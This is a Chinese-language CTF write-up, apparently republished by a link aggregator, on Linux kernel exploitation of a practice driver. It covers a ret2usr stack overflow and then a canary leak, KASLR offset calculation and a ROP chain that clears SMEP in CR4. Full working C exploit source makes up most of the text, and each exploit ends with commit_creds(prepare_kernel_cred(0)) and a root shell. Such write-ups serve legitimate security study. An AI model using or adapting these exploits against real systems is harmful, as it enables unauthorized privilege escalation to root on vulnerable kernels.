2

【Pwn 笔记】Linux Kernel 总结 -- Kernel-ROP

 2 years ago
source link: https://binlep.github.io/2020/03/12/%E3%80%90Pwn%20%E7%AC%94%E8%AE%B0%E3%80%91Linux%20Kernel%20%E6%80%BB%E7%BB%93%20--%20ROP/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

Kernel 的调试真的是 tttttt 难了

ret2text

level 1

Kernel 的入门题,一个栈溢出程序,文件保护如下:

Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)

startvm.sh 文件如下:

#!/bin/bash

stty intr ^]
cd `dirname $0`
timeout --foreground 600 qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \
-monitor /dev/null \
-initrd rootfs.cpio \
-smp cores=1,threads=1 \
-cpu qemu64 2>/dev/null

我们修改启动脚本,在后面加上一个 -s 用以调试

rcS 文件如下:

#!/bin/sh

mount -t devtmpfs none /dev
mount -t proc proc /proc

insmod /home/pwn/baby.ko
chmod 644 /dev/baby
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

cd /home/pwn
setsid cttyhack setuidgid 1000 sh

umount /proc

poweroff -f

打开程序查看主要函数:

__int64 __usercall ioctl@<rax>(__int64 a1@<rbp>, __int64 command@<rsi>, __int64 a3@<rdi>)
{
__int64 v3; // rdx
__int64 v5; // [rsp-88h] [rbp-88h]
__int64 v6; // [rsp-8h] [rbp-8h]

_fentry__(a3, command);
if ( command != 0x6001 )
return 0LL;
v6 = a1;
return copy_from_user(&v5, v3, 0x100LL);
}

可以看到这里有一个栈溢出漏洞,我们可以向内核写入 0x88 个垃圾数据,最后一位覆盖为用于我们写的 templine 的函数地址

先要用 save_status 函数保存用户态的寄存器数据,在内核态返回到用户态的时候,会用到最后用户态的寄存器数据

templine 函数的意思是先在内核态调用 prepare_kernel_cred 函数更改里面的用户为 root 用户,然后再返回用户态

因为是 64 的程序,要写 swapgs 和 iretq,如果是 32 位的程序,写一个 iret 就够了,用于中断内核态返回用户态

返回到提权函数即可 以 root 权限启动 shell

exp 如下:

#include <err.h>
#include <fcntl.h>
#include <stdint.h>

struct trap_frame{
void *rip;
uint64_t cs;
uint64_t rflags;
void * rsp;
uint64_t ss;
}__attribute__((packed));
struct trap_frame tf;

uint64_t(*commit_creds)(uint64_t cred) = 0xffffffff810b99d0;
uint64_t(*prepare_kernel_cred)(uint64_t cred) = 0xffffffff810b9d80;

void shell(){
system("/bin/sh");
}

void templine(){
commit_creds(prepare_kernel_cred(0));
asm(
"movq $tf, %rsp;"
"swapgs;"
"iretq;"
);
}

void save_status(){
asm(
"mov %%cs, %0;"
"mov %%ss,%1;"
"mov %%rsp,%3;"
"pushfq;"
"popq %2;"
:"=r"(tf.cs), "=r"(tf.ss), "=r"(tf.rflags), "=r"(tf.rsp)
:
: "memory"
);
tf.rsp -= 0x1000;
tf.rip = &shell;
}


int main(){
save_status();
uint64_t temp[0x100];
int driver_fd = open("/dev/baby", O_RDONLY);
if(driver_fd < 0){
err(2, "open failed");
}
temp[17] = &templine;
ioctl(driver_fd, 0x6001, &temp);
return 0;
}

bypass smep

level2

文件保护如下:

Arch:     amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

startvm.sh 文件如下:

#!/bin/bash

stty intr ^]
cd `dirname $0`
timeout --foreground 600 qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=1,threads=1 \
-cpu qemu64,smep,smap 2>/dev/null

rcS 文件如下:

#!/bin/sh

mount -t devtmpfs none /dev
mount -t proc proc /proc

insmod /home/pwn/baby.ko
chmod 644 /dev/baby
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

cd /home/pwn
setsid cttyhack setuidgid 1000 sh

umount /proc

poweroff -f

在 root 权限下测得程序不开 kaslr 的基地址为 0xffffffffc0002000

查看程序主要函数:

__int64 __usercall ioctl@<rax>(__int64 a1@<rbp>, int a2@<esi>)
{
__int64 v2; // rdx
__int64 v4; // [rsp-90h] [rbp-90h]
unsigned __int64 v5; // [rsp-10h] [rbp-10h]
__int64 v6; // [rsp-8h] [rbp-8h]

_fentry__();
v6 = a1;
v5 = __readgsqword(0x28u);
if ( a2 == 0x6001 )
return copy_from_user(&v4, v2, 512LL);
if ( a2 == 0x6002 )
return copy_to_user(v2, &v4, 512LL);
return 0LL;
}

可以看到 copy_from_user 函数存在栈溢出,我们可以依靠这个栈溢出

先写一个 for 循环依次显示每个下标所对应的数值,以此泄露 canary 和栈地址

先泄露不开 kaslr 的栈地址,然后写入到 poc 里,再泄露开 kaslr 的栈地址,与它做减法就能得到偏移

然后从 vmlinux 中提取 rop 链,我们要绕过 smep 需要把 cr4 寄存器的第 20 位改为 0 ,一般修改为 0x6f0

先提取pop rdi ; ret,将 0x6f0 放入 rdi 中,之后再利用mov cr4, rdi ; pop rbp ; ret修改 cr4 寄存器即可

最后返回到 templine 函数获得 root 用户的权限再回到用户态,依靠之前 save_status 设置的寄存器状态跳转到 shell 函数提权

记得 commit_creds 和 prepare_kernel_cred 也是要加上偏移的!!!

exp 如下:

#include <err.h>
#include <fcntl.h>
#include <stdint.h>

struct trap_frame{
void *rip;
uint64_t cs;
uint64_t rflags;
void * rsp;
uint64_t ss;
}__attribute__((packed));
struct trap_frame tf;

uint64_t(*commit_creds)(uint64_t cred) = 0xffffffff810b99d0;
uint64_t(*prepare_kernel_cred)(uint64_t cred) = 0xffffffff810b9d80;

void shell(){
system("/bin/sh");
}

void templine(){
commit_creds(prepare_kernel_cred(0));
asm(
"movq $tf, %rsp;"
"swapgs;"
"iretq;"
);
}

void save_status(){
asm(
"mov %%cs, %0;"
"mov %%ss,%1;"
"mov %%rsp,%3;"
"pushfq;"
"popq %2;"
:"=r"(tf.cs), "=r"(tf.ss), "=r"(tf.rflags), "=r"(tf.rsp)
:
: "memory"
);
tf.rsp -= 0x1000;
tf.rip = &shell;
}


int main(){
save_status();
uint64_t temp[0x200];
int driver_fd = open("/dev/baby", O_RDONLY);
if(driver_fd < 0){
err(2, "open failed");
}
ioctl(driver_fd, 0x6002, &temp);
int i;
for(i = 0; i < 0x100; ++i){
printf("[0x%03x] %p\n", i, temp[i]);
}
uint64_t stack_no_kaslr = 0xffffffff8129b078;
uint64_t stackbase = temp[0x009] - stack_no_kaslr;
uint64_t iCanary = temp[0x00d];
uint64_t rop_mov_cr4_rdi = stackbase + 0xffffffff81020300;
uint64_t rop_pop_rdi_ret = stackbase + 0xffffffff8100631d;
commit_creds += stackbase;
prepare_kernel_cred += stackbase;
printf("[+]stack_no_kaslr = %p\n", stack_no_kaslr);
printf("[+]iCanary = %p\n", iCanary);
printf("[+]rop_pop_rdi_ret = %p\n", rop_pop_rdi_ret);
printf("[+]rop_mov_cr4_rdi = %p\n", rop_mov_cr4_rdi);
printf("[+]commit_creds = %p\n", commit_creds);
printf("[+]prepare_kernel_cred = %p\n", prepare_kernel_cred);
i = 0x10;
temp[i++] = iCanary;
i++;
temp[i++] = rop_pop_rdi_ret;
temp[i++] = 0x6f0;
temp[i++] = rop_mov_cr4_rdi;
i++;
temp[i++] = &templine;
ioctl(driver_fd, 0x6001, &temp);
return 0;
}

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK